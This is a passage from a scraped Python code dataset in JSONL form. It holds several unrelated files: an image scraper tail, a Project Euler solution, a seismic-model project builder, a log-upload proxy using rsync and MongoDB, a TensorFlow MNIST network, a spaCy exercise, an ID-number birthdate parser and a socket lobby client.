'http://www.qiqipu.com/'\nurl_list = open_html(url)\nload_image_in_batch(url_list, download_path)\n\n# (2)若提供的是网页中某个图片资源地址,则直接进入 load_image(),只经过一步 open_html()\nurl_single = 'http://static.1sapp.com/qupost/image/20181025/11/11458a7a4f2e47b729a0f739b115c17f1044aab5water.jpg'\nload_image(url_single, download_path)\n\n\n","sub_path":"lib/Spider/爬取并下载网页图片.py","file_name":"爬取并下载网页图片.py","file_ext":"py","file_size_in_byte":1954,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"319580434","text":"'''Problem 5 Project Euler Norman J. Harman Jr. \n\n2520 is the smallest number that can be divided by each of the numbers from 1 to\n10 without any remainder.\n\nWhat is the smallest positive number that is evenly divisible by all of the\nnumbers from 1 to 20?\n'''\nimport itertools\nfrom euler import run, test\n\n# div by = div by\n# everything >= 10 covered by larger\n# 11 11\n# 12 2,3,4,6\n# 13 13\n# 14 2,7\n# 15 3,5\n# 16 2,8\n# 17 -\n# 18 2,6,9\n# 19 -\n# 20 2,4,5,10\n\n\ndef _is_divisible(number, divisors):\n for divisor in divisors:\n if number % divisor:\n return False\n return True\n\n\ndef brute():\n '''Pathetically slow, 3sec for 1 interation.'''\n divisors = range(11, 20) # 11-19, 20 is step and can be skipped\n for number in itertools.count(19 * 20, 20):\n if _is_divisible(number, divisors):\n return number\n\nassert _is_divisible(2520, range(1, 11))\n\n\ntest(brute, 232792560)\n","sub_path":"python/005.py","file_name":"005.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"527198623","text":"#!/usr/bin/env python3\n#\n# This script will read an image and build the template project file template\n# to be used in the seisarT program\n#\n# -----------------------------------------------------------------------------\n\nimport argparse\nimport numpy as np\nimport matplotlib.image as mpimg\n\n# -------------------------- Command Line Arguments ---------------------------\nparser = argparse.ArgumentParser(description=\"\"\"The SeidarT software requires a\n\t.PNG image that is used to construct the model domain for seismic and\n\telectromagnetic wave propagation. Given the image file, a project file\n\twill be constructed which contains all the necessary parameters to be\n\tread in to the finite differences time domain modeling schemes.\"\"\" )\n\n\nparser.add_argument(\n '-i','--imagefile', \n nargs=1, type=str, required = True,\n help='the full file path for the image', default=None\n)\n\nparser.add_argument(\n '-p', '--prjfile',\n nargs=1, type=str, required = False, default = 'jordan_downs.prj',\n help = \"\"\"name of output file path with extension .prj and excluding\n the full path directory\"\"\"\n)\n\n# Get the arguments\nargs = parser.parse_args()\nimage_file = ''.join(args.imagefile)\nproject_file = ''.join(args.prjfile)\n\nnew_line = '\\n'\n# ------------------------ Some Necessary Definitions -------------------------\n\ndef image2int(imfilename):\n # read the image\n img = mpimg.imread(imfilename)\n\n # Convert RGB to a single value\n rgb_int = np.array(65536*img[:,:,0] + 255*img[:,:,1] + img[:,:,2])\n\n # Get the unique values of the image\n rgb_uni = np.unique(rgb_int)\n\n # We want the unique rgb values too\n rgb = np.zeros( [len(rgb_uni), 3] )\n\n # reshape the image. We know it's three channels\n img_vect = np.zeros( [np.prod(rgb_int.shape), 3] )\n img_vect[:,0] = np.reshape(img[:, :, 0], np.prod(np.shape(img[:, :, 0]) ) )\n img_vect[:,1] =\tnp.reshape(img[:, :, 1], np.prod(np.shape(img[:, :, 1]) ) )\n img_vect[:,2] =\tnp.reshape(img[:, :, 2], np.prod(np.shape(img[:, :, 2]) ) )\n\n # mat_id = np.array( range(0, len(rgb_uni) ) )\n for ind in range(0, len(rgb_uni) ):\n \trgb_ind = np.reshape(rgb_int == rgb_uni[ind], [np.prod(rgb_int.shape)])\n \trgb[ind,:] = (img_vect[rgb_ind,:])[0,:]\n \trgb_int[ rgb_int == rgb_uni[ind] ] = ind\n\n\n if np.max(rgb) <= 1.0:\n \trgb = rgb * 255\n \trgb = rgb.astype(int)\n\n return rgb_int.astype(int), rgb\n\n\n# -------------------------------- Add a header -------------------------------\nheader_comment = \"\"\"\n# This is a project file template for the SeidarT software. In order to run the\n# model for seismic, electromagnetic or both, the required inputs must be\n#\n# Domain Input Values:\n#\tdim \t\t- STR; either '2' or '2.5'; default is '2'\n#\tnx,ny,nz \t- INT; the dimensions of the image. If dim = 2.5, and ny is\n#\t\t\t empty then default ny=1\n#\tdx,dy,dz\t- REAL; the spatial step size for each dimension in meters. If\n#\t\t\t dim = 2.5 and dy is empty then default dy=min(dx,dz)\n#\n# Material Input Values:\n#\tid \t\t- INT; the identifier given to each unique rgb value as it\n#\t\t\t is read into the computer. It's recommended to use this\n#\t\t\t script to make sure it's sorted correctly.\n#\tR/G/B \t\t- STR; the 0-255 values for each color code.\n#\tTemperature \t- REAL; temperature in Celsius.\n#\tAttenuation \t- REAL; (placeholder) will be attenuation length soon.\n#\tDensity \t- REAL; density in kg/m^3\n#\tPorosity \t- REAL; percent porosity\n#\tWater_Content \t- REAL; percent of pores that contain water\n#\tAnisotropic \t- BOOL; whether the material is anisotropic (True) or\n#\t\t\t isotropic (False).\n#\tANG_File \t- STR; if Anisotrpic is True then the full path to the\n#\t\t\t .ang file is supplied. The .ang file is a delimited text\n#\t\t\t file that contains the 3-by-n array of euler rotation\n#\t\t\t angles in radians.\n#\n#\t\tor alternatively...\n#\tC11-C66 \t- REAL; the stiffness coefficients with the appropriate id\n#\tE11-E33,S11-S33\t- REAL; the permittivity and conductivity coefficients and\n#\t\t\t 'id' value corresponding to the coefficients along the diagonal\n#\t\t\t of their respective tensors.\n#\n#\n# Source Input Values:\n#\tdt \t\t- REAL; dx/(2*maxvelcity)\n#\tsteps \t\t- INT; the total number of time steps\n#\tx,y,z \t\t- REAL; locations in meters, +x is to the right, +z is down, +y is into the screen\n#\tf0 \t\t- REAL; center frequency for the guassian pulse function if\n#\t\t\t 'source_file' isn't supplied\n#\ttheta \t\t- REAL; source orientation in the x-z plane,\n#\tphi \t\t- REAL; source orientation in the x-y plane for 2.5/3D only,\n#\tsource_file\t- STR; the pointer to the text file that contains the source\n#\t\t\t timeseries as a steps-by-1 vector.\n#\n# \t**phi and theta are the rotation angles for spherical coordinates so\n#\t\tx = r sin(theta)cos(phi)\n#\t\ty = r sin(theta)sin(phi)\n#\t\tz = r cos(theta)\n#\n#\tTheta is the angle from the z-axis (+ down relative to image), phi is the\n#\tangle from x-axis in the x-y plane (+ counterclockwise when viewed from above)\n#\n# Written by Steven Bernsen\n# University of Maine\n# -----------------------------------------------------------------------------\n\n\"\"\"\n\n# ---------------------------- Read the Image File ----------------------------\nim, rgb = image2int(image_file)\nim = im.transpose()\nmat_id = np.unique(im)\n# Start writing the project file. To allow for headers we will start all\n# pertinant information after\n\nwith open(project_file, 'w') as prj:\n\tprj.write(header_comment)\n\tprj.write(new_line)\n\tprj.write('I,'+image_file+new_line)\n\tprj.write(new_line)\n\n\n\n# ------------------------- Write Domain Parameters ---------------------------\ndim = 'D,dim,2'\nnx = 'D,nx,' + str(np.shape(im)[0])\nny = 'D,ny,n/a'\nnz = 'D,nz,' + str(np.shape(im)[1])\ndx = 'D,dx,'\ndy = 'D,dy,n/a'\ndz = 'D,dz,'\ncpml = 'D,cpml,20'\nnmat = 'D,nmats,' + str(len( np.unique(im) ))\ntfile = 'D,tfile,'\nwith open(project_file, 'a') as prj:\n\tprj.write(dim+new_line)\n\tprj.write(nx+new_line)\n\tprj.write(ny+new_line)\n\tprj.write(nz+new_line)\n\tprj.write(dx+new_line)\n\tprj.write(dy+new_line)\n\tprj.write(dz+new_line)\n\tprj.write(cpml+new_line)\n\tprj.write(nmat+new_line)\n\tprj.write(tfile + new_line)\n\tprj.write(new_line)\n\n\n\n\n# ------------------------- Write Material Parameters -------------------------\n\nheader = (\"# number, id, R/G/B, Temperature, Attenuation, Density, Porosity, \"\n\t\t\t\t\"Water_Content, Anisotropic, ANG_File\")\n\n\nwith open(project_file, 'a') as prj:\n\ti = 0\n\n\tprj.write(header + new_line )\n\tfor x in mat_id:\n\t\tln = ('M,' + str(x) + ',,' + str(rgb[x,0]) + '/' +\n\t\t\tstr(rgb[x,1]) + '/' + str(rgb[x,2]) +\n\t\t\t',,,,,,,')\n\t\tprj.write( ln + new_line)\n\n\tprj.write(new_line)\n\n\n# ------------------------- Write Seismic Parameters --------------------------\ndt = 'dt,'\nsteps = 'time_steps,'\nx = 'x,'\ny = 'y,'\nz = 'z,'\nf0 = 'f0,'\ntheta = 'theta,0'\nphi = 'phi,0'\nsource_file='source_file,'\n\ncomm = '# The source parameters for the seismic model'\nheader = '# id, C11, C12, C13, C22, C23, C33, C44, C55, C66, rho'\n\nwith open(project_file, 'a') as prj:\n\ti = 0\n\tprj.write(comm + new_line)\n\tprj.write('S,' + dt + new_line)\n\tprj.write('S,' + steps + new_line)\n\tprj.write('S,' + x + new_line)\n\tprj.write('S,' + y + new_line)\n\tprj.write('S,' + z + new_line)\n\tprj.write('S,' + f0 + new_line)\n\tprj.write('S,' + theta + new_line)\n\tprj.write('S,' + phi + new_line)\n\tprj.write(new_line)\n\n\tprj.write(header + new_line )\n\tfor ind in mat_id:\n\t\tprj.write( 'C,' + str(ind) + ',,,,,,,,,,' + new_line)\n\n\tprj.write(new_line)\n\n\n\n# -------------------------- Write Radar Parameters ---------------------------\n\ncomm = '# The source parameters for the electromagnetic model'\nheader = '# id, e11, e22, e33, s11, s22, s33'\n\nwith open(project_file, 'a') as prj:\n\ti = 0\n\n\tprj.write(comm + new_line)\n\tprj.write('E,' + dt + new_line)\n\tprj.write('E,' + steps + new_line)\n\tprj.write('E,' + x + new_line)\n\tprj.write('E,' + y + new_line)\n\tprj.write('E,' + z + new_line)\n\tprj.write('E,' + f0 + new_line)\n\tprj.write('E,' + theta + new_line)\n\tprj.write('E,' + phi + new_line)\n\n\tprj.write(new_line)\n\n\tprj.write(header + new_line )\n\tfor ind in mat_id:\n\t\tprj.write( 'P,' + str(ind) + ',,,,,,,,,,' + new_line)\n\n\tprj.write(new_line)\n\n\n\n# ------------------- Write Additional Survey File Tempates -------------------\n# meta_header = \"\"\"\n# # Options for the following fields\n# # project_file - (STRING) the file path to the project file\n# # survey_type - (STRING) the type of survey you would like to model. Available\n# #\t\t\t\toptions are 'co' = common offset, 'cmp' = common midpoint,\n# #\t\t\t\t'wa' = wide angle.\n# #\n# # The following inputs change given the survey type. There are additional\n# # values that need to be passed in the wrapper\n# #\n# # delta (FLOAT)\n# #\t\t\t\t\t'wa' the spacing between each reciever\n# #\t\t\t\t\t'cmp' the change in the source and the reciever distance from\n# #\t\t\t\t\t\tthe common midpoint (given below)\n# #\t\t\t\t\t'co' the shift in the same direction of the source and\n# #\t\t\t\t\t\treciever. The spacing between the source and reciever\n# #\t\t\t\t\t\tremains constant so they are moved in the same direction\n# #\n# # initial_position (FLOAT)\n# #\t\t\t\t\t'wa' the initial reciever location along the array in meters\n# #\t\t\t\t\t'cmp' the reciever location\n# #\t\t\t\t\t'co' the reciever location\n# #\n# # final_position (FLOAT)\n# #\t\t\t\t\t'wa' the final reciever location along the array in meters\n# #\t\t\t\t\t'cmp' this is the same value as initial position; moot\n# #\t\t\t\t\t'co' \t\t\t'' ''\t\t\t''\t''\n# #\n# \"\"\"\n\n# if args.meta_file is not None:\n# \twith open(meta_file, 'w') as meta:\n# \t\tmeta.write(meta_header + new_line)\n# \t\tmeta.write('project_file: ' + project_file + new_line)\n# \t\tmeta.write('survey_type: wa' + new_line)\n# \t\tmeta.write('delta: 1' + new_line)\n# \t\tmeta.write('initial_position: 0 0 0' + new_line)\n# \t\tmeta.write('final_position: ' + str(np.shape(im)[0]) + '0 ' + str(np.shape(im)[0]) + new_line )\n# \t\tmeta.write('reciever_file: None' + new_line)\n# \t\tmeta.write('source_file: None' )\n","sub_path":"exe/prjbuild.py","file_name":"prjbuild.py","file_ext":"py","file_size_in_byte":9797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"238438197","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\n\nimport os\nimport time\nimport random\nimport shutil\nimport urllib2\nimport fileinput\nimport subprocess\nimport multiprocessing\nimport pymongo\nimport pyinotify\nimport netifaces\n\nfrom conf import (\n FILENAME_RE_VALID,\n FILE_CONTENT_RE,\n)\n\nfrom errors import (\n GetConf404,\n GetConfTimeout,\n UploadFailed,\n MatchFilenameFailed,\n InsertMongoError,\n)\n\nfrom qdata_utils import (\n process_call,\n Logger,\n)\n\n\nlogger = Logger('proxy', 'INFO', mp=True)\n\n\nFILENAME_RE_MATCH_VALID = 1\nFILENAME_RE_MATCH_INVALID = 2\n\n\ndef timefunc(func):\n def wrapper(*args, **kwargs):\n #time.sleep(2)\n start = time.clock()\n func(*args, **kwargs)\n end = time.clock()\n logger.debug('func <%s> take %s second(s)' % (func.__name__, (end - start)))\n return wrapper\n\n\nclass MonGO(object):\n def __init__(self):\n connIP = '1.1.1.1:27018, 2.2.2.2:27018'\n self.dbname = 'dbname'\n self.colname = 'colname'\n self.user = 'user'\n self.passwd = 'passwd'\n try:\n conn = pymongo.MongoClient(connIP, replicaSet='xxxx')\n self.db = conn[self.dbname]\n except Exception as e:\n logger.error('Mongo connect error %s' % e)\n sys.exit(-1)\n\n def mongoInsert(self, data):\n self.db.authenticate(self.user, self.passwd)\n collection = self.db[self.colname]\n id = data.pop('_id')\n try:\n collection.update({'_id': id}, {'$set': dict(data)}, upsert=True)\n logger.debug('Mongo insert ok %s' % id)\n except Exception as e:\n raise InsertMongoError('Mongo insert error %s' % e)\n\n\nclass EventHandler(pyinotify.ProcessEvent):\n def __init__(self, *args, **kwargs):\n super(EventHandler, self).__init__(*args, **kwargs)\n self.tracing = []\n self.concurrent_count = multiprocessing.Semaphore(4*multiprocessing.cpu_count())\n\n def process_default(self, event):\n self.process(event.pathname)\n\n def reap(self, stall=False):\n alive = []\n for p in self.tracing:\n if not stall and p.is_alive():\n alive.append(p)\n else:\n p.join()\n self.tracing = alive\n\n def process_file(self, path, *args, **kwargs):\n raise NotImplemented\n\n def process(self, path, *args, **kwargs):\n def _process(path, *args, **kwargs):\n self.process_file(path, *args, **kwargs)\n self.concurrent_count.release()\n\n self.reap(stall=False)\n self.concurrent_count.acquire()\n self.reap(stall=False)\n\n logger.debug('tracing pid: %s' % [p.pid for p in self.tracing])\n\n self.tracing.append(\n process_call(_process, path, *args, **kwargs))\n\n\nclass ProxyEventHandler(EventHandler):\n def __init__(self, *args, **kwargs):\n super(ProxyEventHandler, self).__init__(*args, **kwargs)\n self.DstIP = '/opt/soft/proxy_log/proxy.DstIP'\n\n def get_upload_dst(self):\n '''\n : -> dstip_file\n '''\n def _get(api_ip, gw_ip, type='proxy'):\n logger.debug('getting DstIP file, api_ip: %s' % api_ip)\n url = 'http://%s/clog_new/UploadDstIp/proxyip/%s' % (api_ip, gw_ip)\n dst = self.DstIP\n # HTTPError(404) URLError(timeout)\n try:\n req = urllib2.urlopen(url, timeout=5)\n con = req.read()\n with open(dst, 'wb') as f:\n f.write(con)\n return dst\n # file 404\n except urllib2.HTTPError as e:\n raise GetConf404('GetConfError: 404 Not Found')\n # connect timeout\n except urllib2.URLError as e:\n return False\n\n af_inet = netifaces.AF_INET\n global gw_ip\n gw_ip = netifaces.ifaddresses(netifaces.gateways()['default'][af_inet][-1])[af_inet][0]['addr']\n api_ip = ['3.3.3.3']\n try:\n for api in api_ip:\n dstip_file = _get(api, gw_ip)\n if dstip_file:\n return dstip_file\n except Exception as e:\n raise e\n else:\n raise GetConfTimeout('GetConfError: all api ips connect timeout')\n\n @timefunc\n def upload(self, path, meta):\n def weight_value(dstdict):\n total = sum(dstdict.values())\n rad = random.randint(1, total)\n cur_total = 0\n res = ''\n for k, v in dstdict.items():\n cur_total += v\n if cur_total >= rad:\n res = k\n break\n return res\n\n def subprocess_caller(cmd):\n try:\n p = subprocess.Popen(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)\n output, error = p.communicate()\n code = p.returncode\n except Exception as e:\n logger.debug('SUBPROCEEE_CALLER function: execute command failed, message is %s' % e)\n return dict(output=output, error=error, code=1)\n else:\n return dict(output=output, error=error, code=code)\n\n try:\n dstip_file = self.get_upload_dst()\n logger.info('[%s] Get DstIP file ok!' % meta['basename'])\n except Exception as e:\n raise e\n\n typedst = {}\n for dstips in fileinput.input(dstip_file):\n (type, ip, weight) = dstips.strip().split('|')\n if type in typedst.keys():\n typedst[type].update({ip: int(weight)})\n else:\n typedst.update({type: {ip: int(weight)}})\n\n log_type = meta['log_type']\n dstip = typedst[log_type]\n dstlog = os.path.basename(path)\n\n for host in dstip.keys():\n uploadserver = weight_value(dstip)\n cmd = '/usr/bin/rsync -q --bwlimit=500000 --contimeout=10 \\\n --timeout=10 %s blog_up@%s::blog_up/%s' % (path, uploadserver, dstlog)\n p = subprocess_caller(cmd)\n if p['code'] == 0:\n os.remove(path)\n logger.debug('upload success: %s -> %s' % (dstlog, uploadserver))\n break\n else:\n dstip.pop(uploadserver)\n logger.debug('upload fail: %s -> %s' % (dstlog, uploadserver))\n\n if len(dstip) == 0:\n raise UploadFailed('UploadFailed: all Dst IPs upload fail')\n\n def update_mongodb(self, meta):\n mongo = MonGO()\n data = {\n '_id': meta['basename'],\n 'f_date': int(time.mktime(time.strptime(meta['datetime'],'%Y%m%d%H%M'))),\n 'f_proxytime': int(time.time()),\n 'f_type': meta['log_type'],\n 'f_proxyip': gw_ip,\n }\n try:\n mongo.mongoInsert(data)\n logger.info('Mongo insert ok %s' % meta['basename'])\n except Exception as e:\n raise e\n\n def process_valid_file(self, path, meta):\n try:\n self.upload(path, meta)\n logger.info('upload success: %s' % meta['basename'])\n self.update_mongodb(meta)\n except UploadFailed as e:\n raise e\n except InsertMongoError as e:\n raise e\n except Exception as e:\n raise e\n\n def process_invalid_file(self, meta):\n logger.debug('invalid! processing: %s' % meta['basename'])\n\n def match_filename(self, path):\n '''\n param: path -> match_result, meta\n meta: a dict of {basename, log_type, ipaddr, datetime}\n '''\n name = os.path.basename(path)\n\n logger.debug('re matching filename: %s' % name)\n\n ret = FILENAME_RE_VALID.match(name)\n if ret:\n meta = ret.groupdict()\n meta['basename'] = name\n return FILENAME_RE_MATCH_VALID, meta\n\n meta = {\n 'basename': name,\n 'log_type': None,\n }\n return FILENAME_RE_MATCH_INVALID, meta\n\n def process_file(self, path):\n def _process(path, ret, meta):\n if ret == FILENAME_RE_MATCH_VALID:\n self.process_valid_file(path, meta)\n elif ret == FILENAME_RE_MATCH_INVALID:\n self.process_invalid_file(meta)\n else:\n raise MatchFilenameFailed('MatchFilenameFailed: unknown error')\n\n ret, meta = self.match_filename(path)\n try:\n _process(path, ret, meta)\n except Exception as e:\n logger.error('%s' % e)\n\n\ndef main_inotify():\n\n # main inotify\n try:\n wm = pyinotify.WatchManager()\n eh = ProxyEventHandler()\n wm.add_watch('/data/blog', pyinotify.IN_MOVED_TO, rec=True, auto_add=True)\n notifier = pyinotify.Notifier(wm, eh)\n notifier.loop()\n except BaseException as e:\n logger.error(\"exit: %s: %s\" % (e.__class__.__name__, e))\n eh.reap(stall=True)\n\n\nif __name__ == '__main__':\n main_inotify()\n","sub_path":"proxy.py","file_name":"proxy.py","file_ext":"py","file_size_in_byte":9001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"19755703","text":"import tensorflow as tf\nimport tensorflowvisu\nimport math\nfrom tensorflow.examples.tutorials.mnist import input_data as mnist_data\n# print(\"Tensorflow version \" + tf.__version__)\ntf.set_random_seed(0)\n\n# Download images and labels into mnist.test (10K images+labels) and mnist.train (60K images+labels)\nmnist = mnist_data.read_data_sets(\"data\", one_hot=True, reshape=False, validation_size=0)\n\n# input X: 28x28 grayscale images, the first dimension (None) will index the images in the mini-batch\nX = tf.placeholder(tf.float32, [None, 28, 28, 1])\n# correct answers will go here\nY_ = tf.placeholder(tf.float32, [None, 10])\n# learning rate\nlrmax = 0.003\nlrmin = 0.00001\nlr = tf.placeholder(tf.float32)\n# dropout keep rate, feed in 1 when testing, 0.75 when training\npkeep = tf.placeholder(tf.float32)\n\n# Channels of layers\nL = 6\nM = 12\nN = 24\nO = 200\n\n# Strides\nLs = 1\nMs = 2\nNs = 2\n# size of the last convolution layer output\n# d = 28 / Ls / Ms / Ns\nd = 7\n\n# convolutional weights and biases\nW1 = tf.Variable(tf.truncated_normal([6, 6, 1, L], stddev=0.1))\nB1 = tf.Variable(tf.ones([L])/10)\n\nW2 = tf.Variable(tf.truncated_normal([5, 5, L, M], stddev=0.1))\nB2 = tf.Variable(tf.ones([M])/10)\n\nW3 = tf.Variable(tf.truncated_normal([4, 4, M, N], stddev=0.1))\nB3 = tf.Variable(tf.ones([N])/10)\n\nW4 = tf.Variable(tf.truncated_normal([d * d * N, O], stddev=0.1))\nB4 = tf.Variable(tf.ones([O])/10)\n\nW5 = tf.Variable(tf.truncated_normal([O, 10], stddev=0.1))\nB5 = tf.Variable(tf.ones([10])/10)\n\n# convolutional model\nY1cnv = tf.nn.conv2d(X, W1, strides=[1, Ls, Ls, 1], padding='SAME')\nY1 = tf.nn.relu(Y1cnv + B1)\n\nY2cnv = tf.nn.conv2d(Y1, W2, strides=[1, Ms, Ms, 1], padding='SAME')\nY2 = tf.nn.relu(Y2cnv + B2)\n\nY3cnv = tf.nn.conv2d(Y2, W3, strides=[1, Ns, Ns, 1], padding='SAME')\nY3 = tf.nn.relu(Y3cnv + B3)\n\nY4 = tf.nn.relu(tf.matmul(tf.reshape(Y3, [-1, d * d * N]), W4) + B4)\nY4d = tf.nn.dropout(Y4, pkeep)\n\nYlogits = tf.matmul(Y4d, W5) + B5\nY = tf.nn.softmax(Ylogits)\n\n# cross-entropy\ncross_entropy = tf.nn.softmax_cross_entropy_with_logits(logits=Ylogits, labels=Y_)\ncross_entropy = tf.reduce_mean(cross_entropy)*100\n\n# accuracy of the trained model, between 0 (worst) and 1 (best)\ncorrect_prediction = tf.equal(tf.argmax(Y, 1), tf.argmax(Y_, 1))\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\n\n# matplotlib visualisation\nallweights = tf.concat([tf.reshape(W1, [-1]), tf.reshape(W2, [-1]), tf.reshape(W3, [-1]), tf.reshape(W4, [-1]), tf.reshape(W5, [-1])], 0)\nallbiases = tf.concat([tf.reshape(B1, [-1]), tf.reshape(B2, [-1]), tf.reshape(B3, [-1]), tf.reshape(B4, [-1]), tf.reshape(B5, [-1])], 0)\nI = tensorflowvisu.tf_format_mnist_images(X, Y, Y_)\nIt = tensorflowvisu.tf_format_mnist_images(X, Y, Y_, 1000, lines=25)\ndatavis = tensorflowvisu.MnistDataVis()\n\n# training step\ntrain_step = tf.train.AdamOptimizer(lr).minimize(cross_entropy)\n\n# init\ninit = tf.global_variables_initializer()\nsess = tf.Session()\nsess.run(init)\n\n\n# You can call this function in a loop to train the model, 100 images at a time\ndef training_step(i, update_test_data, update_train_data):\n\n # training on batches of 100 images with 100 labels\n batch_X, batch_Y = mnist.train.next_batch(100)\n learning_rate = lrmin + (lrmax - lrmin) * math.exp(-i/2000)\n\n # compute training values for visualisation\n if update_train_data:\n a, c, im, w, b = sess.run([accuracy, cross_entropy, I, allweights, allbiases], feed_dict={X: batch_X, Y_: batch_Y, pkeep: 1.0})\n datavis.append_training_curves_data(i, a, c)\n datavis.append_data_histograms(i, w, b)\n datavis.update_image1(im)\n print(str(i) + \": accuracy:\" + str(a) + \" loss: \" + str(c))\n\n # compute test values for visualisation\n if update_test_data:\n a, c, im = sess.run([accuracy, cross_entropy, It], feed_dict={X: mnist.test.images, Y_: mnist.test.labels, pkeep: 1.0})\n datavis.append_test_curves_data(i, a, c)\n datavis.update_image2(im)\n print(str(i) + \": ********* epoch \" + str(i*100//mnist.train.images.shape[0]+1) + \" ********* test accuracy:\" + str(a) + \" test loss: \" + str(c))\n\n # the backpropagation training step\n sess.run(train_step, feed_dict={X: batch_X, Y_: batch_Y, lr: learning_rate, pkeep: 0.75})\n\n\ndatavis.animate(training_step, iterations=10000+1, train_data_update_freq=20, test_data_update_freq=50)\n\nprint(\"max test accuracy: \" + str(datavis.get_max_test_accuracy()))","sub_path":"mnist_lab_conv.py","file_name":"mnist_lab_conv.py","file_ext":"py","file_size_in_byte":4408,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"108146923","text":"from spacy.lang.en import English\n\nnlp = English()\ndoc = nlp(\"David Bowie is a PERSON\")\n\n# ラベル「PERSON」のハッシュを引く\nperson_hash = ____.____.____[____]\nprint(person_hash)\n\n# person_hashを引いて文字列を取得\nperson_string = ____.____.____[____]\nprint(person_string)\n","sub_path":"exercises/ja/exc_02_02_02.py","file_name":"exc_02_02_02.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"355190528","text":"aaa=input()\nl1=aaa.split(\",\")\nl1= list(map(int, l1))\naaa=input()\nl2=aaa.split(\",\")\nl2= list(map(int, l2))\n\nres=0\n\nfor i in range(len(l1)):\n for j in range(len(l2)):\n res=max(abs(l1[i]-l1[j])+abd(l2[i]-l2[j])+abs(i-j))\n \nprint(res)","sub_path":"Code/CodeRecords/2582/60825/247873.py","file_name":"247873.py","file_ext":"py","file_size_in_byte":243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"363082105","text":"# 파일명 : s0125_birth.py\n\nssn = input('주민등록번호 : ')\n\nuid = int(ssn[7])\nc18xx, c19xx, c20xx = (9, 0), (1, 2, 5, 6), (3, 4, 7, 8)\nmale, female = (1, 3, 5, 7, 9), (2, 4, 6, 8)\n\n\nif uid in c19xx:\n c = 1900\nif uid in c20xx:\n c = 2000\nif uid in c18xx:\n c = 1800\n\nyear = c + int(ssn[0:2])\nmonth = int(ssn[2:4])\nday = int(ssn[4:6])\n\nprint(f\"생년월일: {year}년{month}월 {day}일\")\n\nif uid in male :\n gender = \"남자\"\nelif uid in female :\n gender = \"여자\"\n\nprint(f\"성별: {gender}\")\n","sub_path":"Old/s0125_birth.py","file_name":"s0125_birth.py","file_ext":"py","file_size_in_byte":515,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"566322006","text":"import socket, threading, pickle, time\n\nclass Client:\n def __init__(self, server, port):\n self.SERVER = server\n self.PORT = port # this is the main lobby port.\n\n self.HEADER_SIZE = 10\n self.FORMAT = \"utf-8\"\n self.DISCONNECT_MSG = \"!GETOUT\"\n self.CREATESERVER_MSG = \"!CREATESERVER\"\n self.JOINSERVER_MSG = \"!JOINSERVER\"\n self.ENTERGAME_MSG = \"!ENTERGAME\"\n self.GAMEQUESTION_MSG = \"!ISGAME\"\n\n self.IN_GAME = False\n self.connected = False\n self.sock = None\n\n #self.start() # commented out so u can start whenever u like\n\n # server - client stuff.\n def send_to_server(self, msg):\n # second message - the data\n message = pickle.dumps(msg)\n # first message - the length\n msg_len = len(message)\n send_len = str(msg_len).encode(self.FORMAT)\n send_len += b' ' * (self.HEADER_SIZE - len(send_len))\n\n self.sock.send(send_len)\n self.sock.send(message)\n\n def expectMessage(self):\n self.connected = True\n while self.connected:\n # first message = length of message\n msg_len = self.sock.recv(self.HEADER_SIZE).decode(self.FORMAT)\n # second message = data\n if msg_len:\n msg_len = int(msg_len)\n msg = self.sock.recv(msg_len)\n #print(msg_len)\n #print(msg)\n msg = pickle.loads(msg)\n print(f\"[SERVER]: {msg}\") # test.\n\n # if statements here for all the actions u want!\n if self.DISCONNECT_MSG in msg:\n self.connected = False\n self.console(\"you've been disconnected.\")\n # any other specific messages, send to another function.\n self.handleServerMessages(msg)\n\n def disconnect(self):\n self.send_to_server(self.DISCONNECT_MSG)\n\n def console(self, msg):\n print(\"[CLIENT]:\", msg)\n\n # game server functions.\n def handleServerMessages(self, msg):\n if \"[SERVER\" in msg: # ignore reposts.\n return\n\n if self.JOINSERVER_MSG in msg: # end of server creation process.\n key = msg[len(self.JOINSERVER_MSG)+1:] # key received.\n self.console(f\"you got the key: {key}\")\n self.send_join_server_request(key)\n elif self.ENTERGAME_MSG in msg: # end of server join process\n game_port = msg[len(self.ENTERGAME_MSG)+1:]\n self.console(f\"your server port is {game_port}\")\n # v basically is starting the client afresh with a new connection really.\n threading.Thread(target=self.exchangeServer, args=(game_port,)).start()\n elif self.GAMEQUESTION_MSG in msg: # this is a game server.\n self.IN_GAME = True\n self.console(\"you're in a game.\")\n\n def send_create_server_request(self):\n self.console(\"server creation asked. you should join it automatically.\")\n self.send_to_server(self.CREATESERVER_MSG)\n # ask ServerManager to create server. have it return key to you.\n # the key is returned and joinServer() runs.\n\n def send_join_server_request(self, key):\n self.console(\"attempt to join server. if nothing happens, server doesn't exist.\")\n self.send_to_server(f\"{self.JOINSERVER_MSG} {key}\")\n # ask ServerManager to join server with given key. it returns to you the port.\n # you autojoin with that port.\n\n def exchangeServer(self, new_port):\n if self.connected:\n self.disconnect()\n # ima keep for now, cuz of weird python message bug when u print after thread\n while self.connected:\n time.sleep(.01) # wait for the disconnect message from server.\n\n\n self.IN_GAME = False\n self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\n self.console(f\"attempt to join server: {new_port}\")\n connect_state = \"connecting\"\n try:\n self.sock.connect((self.SERVER, int(new_port)))\n connect_state = \"connected\"\n except: # cannot connect\n self.console(f\"FAILED connecting to server: {new_port}\")\n connect_state = \"failed\"\n\n if connect_state == \"connected\":\n # pass state.\n self.console(\"connected.\")\n thread = threading.Thread(target=self.expectMessage)\n thread.start()\n\n time.sleep(0.5)\n\n self.send_to_server(self.GAMEQUESTION_MSG) # is this a game?\n\n else: # return to lobby\n 